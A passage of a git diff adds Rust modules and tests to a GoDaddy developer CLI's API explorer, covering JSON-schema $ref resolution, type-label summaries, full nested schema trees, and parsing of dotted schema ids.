+ "api", + "response", + "get", + "599", + "--operation", + "commerce.location.verify-address", + "--output", + "json", + ]) + .await; + assert_ne!(output.exit_code, 0, "{}", output.rendered); + assert!(output.rendered.contains("not found"), "{}", output.rendered); + } +} diff --git a/rust/src/api_explorer/schema.rs b/rust/src/api_explorer/schema.rs new file mode 100644 index 0000000..7b52792 --- /dev/null +++ b/rust/src/api_explorer/schema.rs @@ -0,0 +1,484 @@ +//! One-level schema formatting: resolving `$ref`s against a domain's +//! `$defs`, and condensing a schema fragment down to either a short type +//! label or a one-level property summary. +//! +//! [`schema_type_label`]/[`summarize_schema`] stop at one level and +//! collapse a nested object/array to a compact string — used by `api +//! operation get` and the `api parameter`/`api response` previews (see +//! `crate::api_explorer::summary`). The complete, never-truncated nested +//! tree behind `api schema get` lives in [`super::schema_tree`], which +//! builds on [`resolve_schema_ref`] and [`schema_type_label`] here. + +use serde::Serialize; +use serde_json::{Map, Value}; + +// --------------------------------------------------------------------------- +// Schema summarization — condenses a raw JSON-schema fragment down to +// top-level property names/types for `api operation get`, so a caller sees a +// scannable summary instead of a full nested schema dump. Ported from the +// original TypeScript CLI's `summarizeSchema`/`schemaTypeLabel` family. +// --------------------------------------------------------------------------- + +#[derive(Debug, Clone, Serialize)] +pub(super) struct SchemaSummaryProperty { + pub(super) name: String, + #[serde(rename = "type")] + pub(super) prop_type: String, + pub(super) required: bool, + #[serde(skip_serializing_if = "Option::is_none")] + pub(super) description: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub(super) format: Option, + #[serde(rename = "enum", skip_serializing_if = "Option::is_none")] + pub(super) enum_values: Option>, + #[serde(skip_serializing_if = "Option::is_none")] + pub(super) items: Option, +} + +/// Max `$ref` hops to follow when resolving a schema fragment against a +/// domain's `$defs` — bounds a def-to-def cycle (e.g. A refers to B refers +/// back to A) rather than looping forever. +pub(super) const MAX_REF_DEPTH: u8 = 5; + +/// Follows a `{"$ref": "#/$defs/Name"}` pointer against `defs`, transparently +/// substituting the referenced schema, up to `MAX_REF_DEPTH` hops (a def can +/// itself be a `$ref` to another def). Returns `schema` unchanged if it +/// isn't a `$ref`, or the last-resolved schema if the chain doesn't resolve +/// (unknown def name, external non-`#/$defs/` ref, or depth exceeded) — +/// callers fall back to rendering that as an unresolved `ref(...)`. +/// +/// `pub(super)` (rather than private) because `super::schema_tree`'s +/// `build_schema_tree` needs the exact same `$ref`-cycle bound. +pub(super) fn resolve_schema_ref<'a>(schema: &'a Value, defs: &'a Map) -> &'a Value { + let mut current = schema; + for _ in 0..MAX_REF_DEPTH { + let Some(key) = current + .get("$ref") + .and_then(Value::as_str) + .and_then(|r| r.strip_prefix("#/$defs/")) + else { + break; + }; + let Some(resolved) = defs.get(key) else { + break; + }; + current = resolved; + } + current +} + +/// A short human-readable label for a JSON-schema fragment, e.g. +/// `array`, `enum(a|b|c)`, `string(uuid)`. Resolves +/// `$ref`s against `defs` first, so a referenced schema is described the +/// same as if it were inlined. +pub(super) fn schema_type_label(schema: &Value, defs: &Map) -> String { + let schema = resolve_schema_ref(schema, defs); + let Some(obj) = schema.as_object() else { + return "unknown".to_owned(); + }; + if let Some(type_str) = obj.get("type").and_then(Value::as_str) { + if type_str == "array" + && let Some(items) = obj.get("items") + { + return format!("array<{}>", schema_type_label(items, defs)); + } + if type_str == "object" + && let Some(props) = obj.get("properties").and_then(Value::as_object) + { + let names: Vec<&str> = props.keys().map(String::as_str).collect(); + return format!("object{{{}}}", names.join(", ")); + } + return match obj.get("format").and_then(Value::as_str) { + Some(format) => format!("{type_str}({format})"), + None => type_str.to_owned(), + }; + } + if let Some(enum_vals) = obj.get("enum").and_then(Value::as_array) { + let vals: Vec = enum_vals.iter().map(json_value_to_label).collect(); + return format!("enum({})", vals.join("|")); + } + if obj.get("oneOf").and_then(Value::as_array).is_some() { + return "oneOf".to_owned(); + } + if obj.get("anyOf").and_then(Value::as_array).is_some() { + return "anyOf".to_owned(); + } + if obj.get("allOf").and_then(Value::as_array).is_some() { + return "allOf".to_owned(); + } + // Only reached for a $ref that resolve_schema_ref couldn't follow + // (unknown def, external ref, or a chain deeper than MAX_REF_DEPTH). + if let Some(reference) = obj.get("$ref").and_then(Value::as_str) { + return format!("ref({reference})"); + } + "object".to_owned() +} + +/// The same fallback chain as `schema_type_label`, but never recurses into +/// array items or lists an object's property names — just the bare kind +/// (`"object"`, `"array"`, `"string"`, ...). Used for a schema that already +/// has a `schemaId` pointing at its full nested detail via `api schema +/// get`: repeating that detail here too would be redundant, and for an +/// object with many properties, unbounded. +pub(super) fn schema_base_type_label(schema: &Value, defs: &Map) -> String { + let schema = resolve_schema_ref(schema, defs); + let Some(obj) = schema.as_object() else { + return "unknown".to_owned(); + }; + if let Some(type_str) = obj.get("type").and_then(Value::as_str) { + return type_str.to_owned(); + } + if obj.get("enum").and_then(Value::as_array).is_some() { + return "enum".to_owned(); + } + if obj.get("oneOf").and_then(Value::as_array).is_some() { + return "oneOf".to_owned(); + } + if obj.get("anyOf").and_then(Value::as_array).is_some() { + return "anyOf".to_owned(); + } + if obj.get("allOf").and_then(Value::as_array).is_some() { + return "allOf".to_owned(); + } + if let Some(reference) = obj.get("$ref").and_then(Value::as_str) { + return format!("ref({reference})"); + } + "object".to_owned() +} + +/// Mimics JS `Array.prototype.join`'s implicit `String(value)` coercion for +/// the handful of JSON value kinds an enum entry can be. +fn json_value_to_label(v: &Value) -> String { + match v { + Value::String(s) => s.clone(), + Value::Null => String::new(), + Value::Bool(b) => b.to_string(), + Value::Number(n) => n.to_string(), + other => other.to_string(), + } +} + +pub(super) fn summarize_schema( + schema: Option<&Value>, + defs: &Map, +) -> Option> { + let schema = resolve_schema_ref(schema?, defs); + let obj = schema.as_object()?; + let Some(properties) = obj.get("properties").and_then(Value::as_object) else { + if obj.contains_key("type") || obj.contains_key("enum") { + return Some(vec![SchemaSummaryProperty { + name: "(value)".to_owned(), + prop_type: schema_type_label(schema, defs), + required: true, + description: None, + format: None, + enum_values: None, + items: None, + }]); + } + return None; + }; + let required: std::collections::HashSet<&str> = obj + .get("required") + .and_then(Value::as_array) + .map(|arr| arr.iter().filter_map(Value::as_str).collect()) + .unwrap_or_default(); + Some( + properties + .iter() + .map(|(name, prop)| { + let prop_obj = prop.as_object(); + // A property that's itself a bare `$ref` carries none of + // description/format/enum/items locally — fall back to the + // resolved def's, while still preferring a local value if + // the property overrides it (JSON Schema allows keywords + // alongside `$ref`). + let resolved_obj = resolve_schema_ref(prop, defs).as_object(); + let description = prop_obj + .and_then(|p| p.get("description")) + .or_else(|| resolved_obj.and_then(|p| p.get("description"))) + .and_then(Value::as_str) + .filter(|d| !d.is_empty()) + .map(str::to_owned); + let format = prop_obj + .and_then(|p| p.get("format")) + .or_else(|| resolved_obj.and_then(|p| p.get("format"))) + .and_then(Value::as_str) + .map(str::to_owned); + let enum_values = prop_obj + .and_then(|p| p.get("enum")) + .or_else(|| resolved_obj.and_then(|p| p.get("enum"))) + .and_then(Value::as_array) + .cloned(); + let items = resolved_obj + .filter(|p| p.get("type").and_then(Value::as_str) == Some("array")) + .and_then(|p| p.get("items")) + .filter(|v| v.is_object()) + .map(|items| schema_type_label(items, defs)); + SchemaSummaryProperty { + name: name.clone(), + prop_type: schema_type_label(prop, defs), + required: required.contains(name.as_str()), + description, + format, + enum_values, + items, + } + }) + .collect(), + ) +} + +#[cfg(test)] +mod tests { + use serde_json::json; + + use super::{schema_base_type_label, schema_type_label, summarize_schema}; + + fn no_defs() -> serde_json::Map { + serde_json::Map::new() + } + + #[test] + fn schema_type_label_object_lists_every_property_name() { + let schema = json!({ + "type": "object", + "properties": { "a": {}, "b": {}, "c": {}, "d": {}, "e": {}, "f": {} }, + }); + assert_eq!( + schema_type_label(&schema, &no_defs()), + "object{a, b, c, d, e, f}" + ); + } + + #[test] + fn schema_type_label_array_recurses_into_items() { + let schema = json!({ "type": "array", "items": { "type": "string" } }); + assert_eq!(schema_type_label(&schema, &no_defs()), "array"); + } + + #[test] + fn schema_type_label_bare_array_of_untyped_objects() { + // No declared `properties` on the item schema — renders as the bare + // "array" (no trailing `{`), distinct from "array" + // for an item schema with declared properties. + let schema = + json!({ "type": "array", "items": { "type": "object", "additionalProperties": true } }); + assert_eq!(schema_type_label(&schema, &no_defs()), "array"); + } + + #[test] + fn schema_type_label_string_with_format() { + let schema = json!({ "type": "string", "format": "uuid" }); + assert_eq!(schema_type_label(&schema, &no_defs()), "string(uuid)"); + } + + #[test] + fn schema_type_label_enum_lists_every_value() { + let schema = json!({ "enum": ["a", "b", "c", "d", "e", "f", "g", "h", "i"] }); + assert_eq!( + schema_type_label(&schema, &no_defs()), + "enum(a|b|c|d|e|f|g|h|i)" + ); + } + + #[test] + fn schema_type_label_falls_back_through_one_of_any_of_all_of_and_ref() { + assert_eq!( + schema_type_label(&json!({ "oneOf": [] }), &no_defs()), + "oneOf" + ); + assert_eq!( + schema_type_label(&json!({ "anyOf": [] }), &no_defs()), + "anyOf" + ); + assert_eq!( + schema_type_label(&json!({ "allOf": [] }), &no_defs()), + "allOf" + ); + assert_eq!( + schema_type_label(&json!({ "$ref": "#/$defs/uuid" }), &no_defs()), + "ref(#/$defs/uuid)" + ); + assert_eq!(schema_type_label(&json!({}), &no_defs()), "object"); + } + + #[test] + fn schema_type_label_resolves_a_ref_against_defs() { + let mut defs = serde_json::Map::new(); + defs.insert( + "Business".to_owned(), + json!({ "type": "object", "properties": { "name": {}, "address": {} } }), + ); + let schema = json!({ "$ref": "#/$defs/Business" }); + assert_eq!(schema_type_label(&schema, &defs), "object{address, name}"); + } + + #[test] + fn schema_type_label_ref_chain_through_multiple_defs() { + let mut defs = serde_json::Map::new(); + defs.insert("A".to_owned(), json!({ "$ref": "#/$defs/B" })); + defs.insert( + "B".to_owned(), + json!({ "type": "string", "format": "uuid" }), + ); + let schema = json!({ "$ref": "#/$defs/A" }); + assert_eq!(schema_type_label(&schema, &defs), "string(uuid)"); + } + + #[test] + fn schema_type_label_ref_cycle_does_not_hang() { + let mut defs = serde_json::Map::new(); + defs.insert("A".to_owned(), json!({ "$ref": "#/$defs/B" })); + defs.insert("B".to_owned(), json!({ "$ref": "#/$defs/A" })); + let schema = json!({ "$ref": "#/$defs/A" }); + // Bounded by MAX_REF_DEPTH — must terminate and fall back to an + // unresolved ref label rather than looping forever. Which of A/B it + // lands on depends on MAX_REF_DEPTH's parity, so only assert the + // shape, not the exact key. + assert!( + schema_type_label(&schema, &defs).starts_with("ref(#/$defs/"), + "expected an unresolved ref fallback, got: {}", + schema_type_label(&schema, &defs) + ); + } + + #[test] + fn schema_type_label_unknown_ref_falls_back_to_unresolved_label() { + let schema = json!({ "$ref": "#/$defs/DoesNotExist" }); + assert_eq!( + schema_type_label(&schema, &no_defs()), + "ref(#/$defs/DoesNotExist)" + ); + } + + #[test] + fn summarize_schema_keeps_the_full_description() { + let long_description = "x".repeat(200); + let schema = json!({ + "type": "object", + "properties": { "note": { "type": "string", "description": long_description.clone() } }, + }); + let props = summarize_schema(Some(&schema), &no_defs()).expect("has properties"); + let note = props.iter().find(|p| p.name == "note").expect("note prop"); + assert_eq!(note.description.as_deref(), Some(long_description.as_str())); + } + + #[test] + fn summarize_schema_keeps_the_full_enum_regardless_of_size() { + let big_enum: Vec<_> = (0..20).map(|i| json!(i)).collect(); + let schema = json!({ + "type": "object", + "properties": { "big": { "type": "integer", "enum": big_enum.clone() } }, + }); + let props = summarize_schema(Some(&schema), &no_defs()).expect("has properties"); + let big = props.iter().find(|p| p.name == "big").expect("big prop"); + assert_eq!(big.enum_values.as_ref(), Some(&big_enum)); + } + + #[test] + fn summarize_schema_scalar_value_falls_back_to_value_placeholder() { + let schema = json!({ "type": "string" }); + let props = summarize_schema(Some(&schema), &no_defs()).expect("scalar schema summarizes"); + assert_eq!(props.len(), 1); + assert_eq!(props[0].name, "(value)"); + assert_eq!(props[0].prop_type, "string"); + assert!(props[0].required); + } + + #[test] + fn summarize_schema_none_for_schema_with_no_type_or_properties() { + assert!(summarize_schema(Some(&json!({})), &no_defs()).is_none()); + assert!(summarize_schema(None, &no_defs()).is_none()); + } + + #[test] + fn summarize_schema_resolves_a_top_level_ref() { + let mut defs = serde_json::Map::new(); + defs.insert( + "Business".to_owned(), + json!({ + "type": "object", + "properties": { "name": { "type": "string" } }, + }), + ); + // Most catalog request bodies are exactly this shape: a bare `$ref` + // with no inline `properties` for summarize_schema to find directly. + let schema = json!({ "$ref": "#/$defs/Business" }); + let props = summarize_schema(Some(&schema), &defs).expect("resolves through $ref"); + assert_eq!(props.len(), 1); + assert_eq!(props[0].name, "name"); + assert_eq!(props[0].prop_type, "string"); + } + + #[test] + fn summarize_schema_resolves_a_property_level_ref() { + let mut defs = serde_json::Map::new(); + defs.insert( + "address".to_owned(), + json!({ + "type": "object", + "properties": { "street": {}, "city": {} }, + "description": "A mailing address", + }), + ); + let schema = json!({ + "type": "object", + "properties": { "address": { "$ref": "#/$defs/address" } }, + }); + let props = summarize_schema(Some(&schema), &defs).expect("has properties"); + let address = props + .iter() + .find(|p| p.name == "address") + .expect("address prop"); + assert_eq!(address.prop_type, "object{city, street}"); + // No local description at the reference site — falls back to the + // resolved def's. + assert_eq!(address.description.as_deref(), Some("A mailing address")); + } + + #[test] + fn summarize_schema_local_description_overrides_the_resolved_def() { + let mut defs = serde_json::Map::new(); + defs.insert( + "address".to_owned(), + json!({ "type": "object", "properties": {}, "description": "def description" }), + ); + let schema = json!({ + "type": "object", + "properties": { + "address": { "$ref": "#/$defs/address", "description": "local override" }, + }, + }); + let props = summarize_schema(Some(&schema), &defs).expect("has properties"); + let address = props + .iter() + .find(|p| p.name == "address") + .expect("address prop"); + assert_eq!(address.description.as_deref(), Some("local override")); + } + + #[test] + fn schema_base_type_label_does_not_list_property_names_or_recurse_into_items() { + let object_schema = json!({ + "type": "object", + "properties": { "a": {}, "b": {}, "c": {} }, + }); + assert_eq!(schema_base_type_label(&object_schema, &no_defs()), "object"); + + let array_schema = + json!({ "type": "array", "items": { "type": "object", "properties": { "a": {} } } }); + assert_eq!(schema_base_type_label(&array_schema, &no_defs()), "array"); + } + + #[test] + fn schema_base_type_label_resolves_a_ref_to_its_base_type() { + let mut defs = no_defs(); + defs.insert( + "Shipment".to_owned(), + json!({ "type": "object", "properties": { "id": {} } }), + ); + let schema = json!({ "$ref": "#/$defs/Shipment" }); + assert_eq!(schema_base_type_label(&schema, &defs), "object"); + } +} diff --git a/rust/src/api_explorer/schema_cmd.rs b/rust/src/api_explorer/schema_cmd.rs new file mode 100644 index 0000000..91926a8 --- /dev/null +++ b/rust/src/api_explorer/schema_cmd.rs @@ -0,0 +1,180 @@ +//! `api schema get`. + +use cli_engine::{CommandResult, CommandSpec, RuntimeCommandSpec, Tier}; + +use super::catalog::{catalog, resolve_operation}; +use super::schema_tree::{SchemaLocation, build_schema_tree, parse_schema_id}; +use super::summary::{find_parameter_schema, to_json}; + +#[derive(Debug, Clone, clap::Args)] +struct SchemaGetArgs { + /// Schema id — a component name, or a dotted path from a truncated preview. + #[arg(value_name = "ID")] + id: String, +} + +pub(super) fn get_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed::( + CommandSpec::from_args::("get", "Show a schema's full nested tree") + .with_long( + "Shows the complete nested structure of a schema — every property at every \ + level, with $ref's resolved inline. This is the terminal drill-down target \ + for a truncated schema preview shown elsewhere.", + ) + .with_system("api") + .with_tier(Tier::Read) + .no_auth(true), + |_cred, args: SchemaGetArgs| async move { + let id = args.id.as_str(); + let catalog = catalog(); + + // A bare component name (no schema-id keyword segment) is looked + // up directly against every domain's `$defs` — it isn't scoped + // to one operation the way an inline dotted id is. + if let Some((domain_defs, schema)) = catalog + .iter() + .find_map(|d| d.defs.get(id).map(|schema| (&d.defs, schema))) + { + let tree = build_schema_tree(id, schema, domain_defs); + return Ok(CommandResult::new(to_json(tree)?)); + } + + let (operation_id, location) = parse_schema_id(id).ok_or_else(|| { + crate::error::GddyError::not_found(format!("no schema found for id '{id}'")) + .with_fix("Run: gddy api operation get to find schema ids") + .into_cli_error() + })?; + + let (domain, ep) = resolve_operation(catalog, &operation_id, None)?; + + let raw_schema = match &location { + SchemaLocation::RequestBody => { + ep.request_body.as_ref().and_then(|b| b.get("schema")) + } + SchemaLocation::Parameter(name) => { + find_parameter_schema(ep, name).map(|(schema, _)| schema) + } + SchemaLocation::Response(status) => ep + .responses + .get(status.as_str()) + .and_then(|r| r.get("schema")), + }; + let raw_schema = raw_schema.ok_or_else(|| { + crate::error::GddyError::not_found(format!("no schema found for id '{id}'")) + .into_cli_error() + })?; + + let tree = build_schema_tree(id, raw_schema, &domain.defs); + Ok(CommandResult::new(to_json(tree)?)) + }, + ) +} + +#[cfg(test)] +mod tests { + use cli_engine::{Cli, CliConfig}; + use serde_json::json; + + fn operation_cli() -> Cli { + Cli::new( + CliConfig::new("gddy", "GoDaddy developer CLI", "gddy") + .with_module(super::super::module()) + .with_environments(std::sync::Arc::clone(crate::environments::instance())), + ) + } + + /// A `$ref` schema's id is its bare `$defs` key — no operation scoping + /// needed to look it up. + #[tokio::test] + async fn schema_get_resolves_a_bare_defs_name() { + let output = operation_cli() + .run([ + "gddy", "api", "schema", "get", "address", "--output", "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!(rendered["data"]["type"], json!("object")); + let properties = rendered["data"]["properties"] + .as_array() + .expect("properties array"); + assert!(properties.iter().any(|p| p["name"] == "addressDetails")); + } + + /// An inline response schema's id is a dotted path rooted at the + /// operationId — which, for this operation, itself contains dots, so + /// this also exercises the schema-id parser's keyword-scan (not a fixed + /// split position). + #[tokio::test] + async fn schema_get_resolves_an_inline_response_schema_by_dotted_id() { + let output = operation_cli() + .run([ + "gddy", + "api", + "schema", + "get", + "commerce.location.verify-address.responses.200.schema", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!(rendered["data"]["type"], json!("object")); + let properties = rendered["data"]["properties"] + .as_array() + .expect("properties array"); + let names: Vec<&str> = properties + .iter() + .map(|p| p["name"].as_str().expect("name")) + .collect(); + assert!(names.contains(&"status")); + assert!(names.contains(&"data")); + } + + /// An inline request body's id is a dotted path too — `patchBusiness`'s + /// top-level schema is `{type: array, items: {$ref: ...}}`, inline at + /// the top level even though its items aren't. + #[tokio::test] + async fn schema_get_resolves_an_inline_request_body_schema_by_dotted_id() { + let output = operation_cli() + .run([ + "gddy", + "api", + "schema", + "get", + "patchBusiness.requestBody.schema", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!(rendered["data"]["type"], json!("array")); + assert!(rendered["data"]["items"].is_object()); + } + + #[tokio::test] + async fn schema_get_unknown_id_is_a_not_found_error() { + let output = operation_cli() + .run([ + "gddy", + "api", + "schema", + "get", + "not-a-defs-name-and-not-a-dotted-id", + "--output", + "json", + ]) + .await; + assert_ne!(output.exit_code, 0, "{}", output.rendered); + assert!( + output.rendered.contains("no schema found for id"), + "{}", + output.rendered + ); + } +} diff --git a/rust/src/api_explorer/schema_tree.rs b/rust/src/api_explorer/schema_tree.rs new file mode 100644 index 0000000..5c344f2 --- /dev/null +++ b/rust/src/api_explorer/schema_tree.rs @@ -0,0 +1,562 @@ +//! Full schema trees and their ids (DEVEX-967's `api schema get `). +//! +//! Unlike `super::schema`'s `schema_type_label`/`summarize_schema`, which +//! stop at one level and collapse a nested object/array to a compact +//! string, [`build_schema_tree`] recurses through every level — `api schema +//! get` never truncates (see `crate::summary::Summary`), so it always +//! returns the complete tree. +//! +//! A schema's id (see [`SchemaLocation`]/[`compute_schema_id`]/ +//! [`parse_schema_id`]) is computed at runtime, not minted by +//! `generate-api-catalog`: a `$ref` schema already has a stable name (its +//! existing `$defs` key), and an inline/anonymous schema's dotted path is a +//! pure function of (operationId, where it sits in the operation), so +//! there's nothing to persist ahead of time. + +use serde::Serialize; +use serde_json::{Map, Value}; + +use super::schema::{resolve_schema_ref, schema_base_type_label, schema_type_label}; + +/// Where a schema sits within an operation — used by `compute_schema_id` +/// when the schema has no `$ref` name of its own, and by `parse_schema_id` +/// to resolve an id back to a concrete schema. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(super) enum SchemaLocation { + RequestBody, + Parameter(String), + Response(String), +} + +/// Reserved path segments in the dotted-id grammar. An operationId or +/// parameter name that literally equals one of these would break +/// `parse_schema_id`'s left-to-right keyword scan — verified against the +/// real embedded catalog by +/// `schema_id_grammar_has_no_collisions_in_the_real_catalog` below, but not +/// structurally prevented (see the design doc's open questions). +pub(super) const SCHEMA_ID_KEYWORDS: [&str; 3] = ["parameters", "responses", "requestBody"]; + +/// Computes a stable id for `schema`: its `$defs` key if it's a `$ref`, or a +/// dotted path rooted at `operation_id` if it's inline/anonymous. +pub(super) fn compute_schema_id( + operation_id: &str, + location: &SchemaLocation, + schema: &Value, +) -> String { + if let Some(name) = schema + .get("$ref") + .and_then(Value::as_str) + .and_then(|r| r.strip_prefix("#/$defs/")) + { + return name.to_owned(); + } + match location { + SchemaLocation::RequestBody => format!("{operation_id}.requestBody.schema"), + SchemaLocation::Parameter(name) => format!("{operation_id}.parameters.{name}.schema"), + SchemaLocation::Response(status) => format!("{operation_id}.responses.{status}.schema"), + } +} + +/// A raw (pre-summarization) schema is a "bare inline scalar" — nothing +/// worth minting a schema id/next_action for — when it's neither a `$ref` +/// (which might resolve to something with real structure) nor an object +/// with declared `properties`. This mirrors `summarize_schema`'s own +/// `"(value)"`-placeholder branch exactly, so the two stay in lockstep: +/// whatever gets flattened to a single placeholder row there gets its type +/// surfaced directly here instead of a drill-down link that would just echo +/// the same type back (e.g. a plain `{"type": "string"}` path parameter). +pub(super) fn scalar_schema_type( + raw_schema: Option<&Value>, + defs: &Map, +) -> Option { + let obj = raw_schema?.as_object()?; + if obj.contains_key("$ref") || obj.get("properties").and_then(Value::as_object).is_some() { + return None; + } + if !(obj.contains_key("type") || obj.contains_key("enum")) { + return None; + } + Some(schema_type_label(raw_schema?, defs)) +} + +/// What to show for `raw_schema` in a parameter/response row: the `type` +/// label to display, and whether it's worth minting a `schemaId` alongside +/// it. A bare inline scalar (see `scalar_schema_type`) gets its full type +/// label here since that label *is* the whole story — there's nothing else +/// to drill into. Anything else (a `$ref`, or an inline object with +/// declared `properties`) gets just the coarse base type (e.g. `"object"` +/// for `Shipment`) plus `drillable: true`, since the full detail is a +/// `schema get` away instead of being repeated inline. +pub(super) fn describe_schema( + raw_schema: Option<&Value>, + defs: &Map, +) -> (Option, bool) { + let Some(raw) = raw_schema else { + return (None, false); + }; + match scalar_schema_type(Some(raw), defs) { + Some(full_label) => (Some(full_label), false), + None => (Some(schema_base_type_label(raw, defs)), true), + } +} + +/// Parses an id produced by `compute_schema_id`'s inline-path branch back +/// into `(operationId, location)`. Scans left-to-right for the first +/// segment matching a reserved keyword rather than assuming a fixed split +/// position, since real operationIds and parameter names can themselves +/// contain literal dots (e.g. `commerce.location.verify-address`, +/// `registeredStores.storeId`). +pub(super) fn parse_schema_id(id: &str) -> Option<(String, SchemaLocation)> { + let segments: Vec<&str> = id.split('.').collect(); + let keyword_idx = segments + .iter() + .position(|segment| SCHEMA_ID_KEYWORDS.contains(segment))?; + let operation_id = segments[..keyword_idx].join("."); + if operation_id.is_empty() { + return None; + } + let keyword = segments[keyword_idx]; + let (last, middle) = segments[keyword_idx + 1..].split_last()?; + if *last != "schema" { + return None; + } + match keyword { + "requestBody" if middle.is_empty() => Some((operation_id, SchemaLocation::RequestBody)), + "responses" if middle.len() == 1 => { + Some((operation_id, SchemaLocation::Response(middle[0].to_owned()))) + } + "parameters" if !middle.is_empty() => { + Some((operation_id, SchemaLocation::Parameter(middle.join(".")))) + } + _ => None, + } +} + +/// One node in a schema's full nested tree — see the module comment above. +#[derive(Debug, Clone, Serialize)] +pub(super) struct SchemaNode { + pub(super) name: String, + #[serde(rename = "type")] + pub(super) node_type: String, + pub(super) required: bool, + #[serde(skip_serializing_if = "Option::is_none")] + pub(super) description: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub(super) format: Option, + #[serde(rename = "enum", skip_serializing_if = "Option::is_none")] + pub(super) enum_values: Option>, + #[serde(skip_serializing_if = "Option::is_none")] + pub(super) properties: Option>, + #[serde(skip_serializing_if = "Option::is_none")] + pub(super) items: Option>, +} + +/// Recursively expands `schema` into a `SchemaNode` tree. Reuses +/// `resolve_schema_ref`/`MAX_REF_DEPTH` unchanged for `$ref`-cycle bounding +/// — that bound is orthogonal to how deep object/array nesting itself is +/// allowed to go, which is intentionally unbounded here. +pub(super) fn build_schema_tree( + name: &str, + schema: &Value, + defs: &Map, +) -> SchemaNode { + let resolved = resolve_schema_ref(schema, defs); + let Some(obj) = resolved.as_object() else { + return SchemaNode { + name: name.to_owned(), + node_type: "unknown".to_owned(), + required: false, + description: None, + format: None, + enum_values: None, + properties: None, + items: None, + }; + }; + let description = obj + .get("description") + .and_then(Value::as_str) + .filter(|d| !d.is_empty()) + .map(str::to_owned); + let format = obj.get("format").and_then(Value::as_str).map(str::to_owned); + let enum_values = obj.get("enum").and_then(Value::as_array).cloned(); + + let Some(type_str) = obj.get("type").and_then(Value::as_str) else { + // No `type` key: oneOf/anyOf/allOf/enum-only/unresolved-ref — reuse + // the same fallback vocabulary `schema_type_label` already has for + // these, rather than duplicating it. + return SchemaNode { + name: name.to_owned(), + node_type: schema_type_label(resolved, defs), + required: false, + description, + format, + enum_values, + properties: None, + items: None, + }; + }; + + if type_str == "object" { + let required: std::collections::HashSet<&str> = obj + .get("required") + .and_then(Value::as_array) + .map(|arr| arr.iter().filter_map(Value::as_str).collect()) + .unwrap_or_default(); + let properties = obj + .get("properties") + .and_then(Value::as_object) + .map(|props| { + props + .iter() + .map(|(prop_name, prop_schema)| { + let mut node = build_schema_tree(prop_name, prop_schema, defs); + node.required = required.contains(prop_name.as_str()); + node + }) + .collect() + }); + return SchemaNode { + name: name.to_owned(), + node_type: "object".to_owned(), + required: false, + description, + format, + enum_values, + properties, + items: None, + }; + } + + if type_str == "array" { + let items = obj + .get("items") + .map(|items_schema| Box::new(build_schema_tree("(item)", items_schema, defs))); + return SchemaNode { + name: name.to_owned(), + node_type: "array".to_owned(), + required: false, + description, + format, + enum_values, + properties: None, + items, + }; + } + + SchemaNode { + name: name.to_owned(), + node_type: type_str.to_owned(), + required: false, + description, + format, + enum_values, + properties: None, + items: None, + } +} + +#[cfg(test)] +mod tests { + use serde_json::json; + + use super::{ + SCHEMA_ID_KEYWORDS, SchemaLocation, build_schema_tree, compute_schema_id, describe_schema, + parse_schema_id, scalar_schema_type, + }; + use crate::api_explorer::catalog::catalog; + + fn no_defs() -> serde_json::Map { + serde_json::Map::new() + } + + #[test] + fn build_schema_tree_recurses_through_nested_object_levels() { + let schema = json!({ + "type": "object", + "required": ["address"], + "properties": { + "address": { + "type": "object", + "required": ["city"], + "properties": { + "city": { "type": "string" }, + }, + }, + }, + }); + let tree = build_schema_tree("root", &schema, &no_defs()); + assert_eq!(tree.node_type, "object"); + let address = tree + .properties + .as_ref() + .expect("root has properties") + .iter() + .find(|p| p.name == "address") + .expect("address prop"); + assert!(address.required); + assert_eq!(address.node_type, "object"); + let city = address + .properties + .as_ref() + .expect("address has properties") + .iter() + .find(|p| p.name == "city") + .expect("city prop"); + assert_eq!(city.node_type, "string"); + } + + #[test] + fn build_schema_tree_recurses_into_array_items() { + let schema = json!({ + "type": "array", + "items": { "type": "object", "properties": { "id": { "type": "string" } } }, + }); + let tree = build_schema_tree("tags", &schema, &no_defs()); + assert_eq!(tree.node_type, "array"); + let item = tree.items.expect("array has an items node"); + assert_eq!(item.node_type, "object"); + assert!( + item.properties + .expect("item has properties") + .iter() + .any(|p| p.name == "id") + ); + } + + #[test] + fn build_schema_tree_ref_cycle_terminates() { + let mut defs = serde_json::Map::new(); + defs.insert("A".to_owned(), json!({ "$ref": "#/$defs/B" })); + defs.insert("B".to_owned(), json!({ "$ref": "#/$defs/A" })); + let schema = json!({ "$ref": "#/$defs/A" }); + let tree = build_schema_tree("root", &schema, &defs); + assert!( + tree.node_type.starts_with("ref(#/$defs/"), + "expected an unresolved ref fallback, got: {}", + tree.node_type + ); + } + + #[test] + fn compute_schema_id_uses_the_defs_key_for_a_ref_schema() { + let schema = json!({ "$ref": "#/$defs/Business" }); + assert_eq!( + compute_schema_id("getUser", &SchemaLocation::RequestBody, &schema), + "Business" + ); + } + + #[test] + fn compute_schema_id_builds_a_dotted_path_for_each_inline_location() { + let schema = json!({ "type": "object" }); + assert_eq!( + compute_schema_id("getUser", &SchemaLocation::RequestBody, &schema), + "getUser.requestBody.schema" + ); + assert_eq!( + compute_schema_id( + "getUser", + &SchemaLocation::Parameter("limit".to_owned()), + &schema + ), + "getUser.parameters.limit.schema" + ); + assert_eq!( + compute_schema_id( + "getUser", + &SchemaLocation::Response("200".to_owned()), + &schema + ), + "getUser.responses.200.schema" + ); + } + + #[test] + fn scalar_schema_type_is_none_for_a_ref_even_if_it_would_resolve_to_a_scalar() { + let schema = json!({ "$ref": "#/$defs/Confirmation" }); + assert_eq!(scalar_schema_type(Some(&schema), &no_defs()), None); + } + + #[test] + fn scalar_schema_type_is_none_for_an_object_with_properties() { + let schema = json!({ "type": "object", "properties": { "a": {} } }); + assert_eq!(scalar_schema_type(Some(&schema), &no_defs()), None); + } + + #[test] + fn scalar_schema_type_is_none_for_a_missing_schema() { + 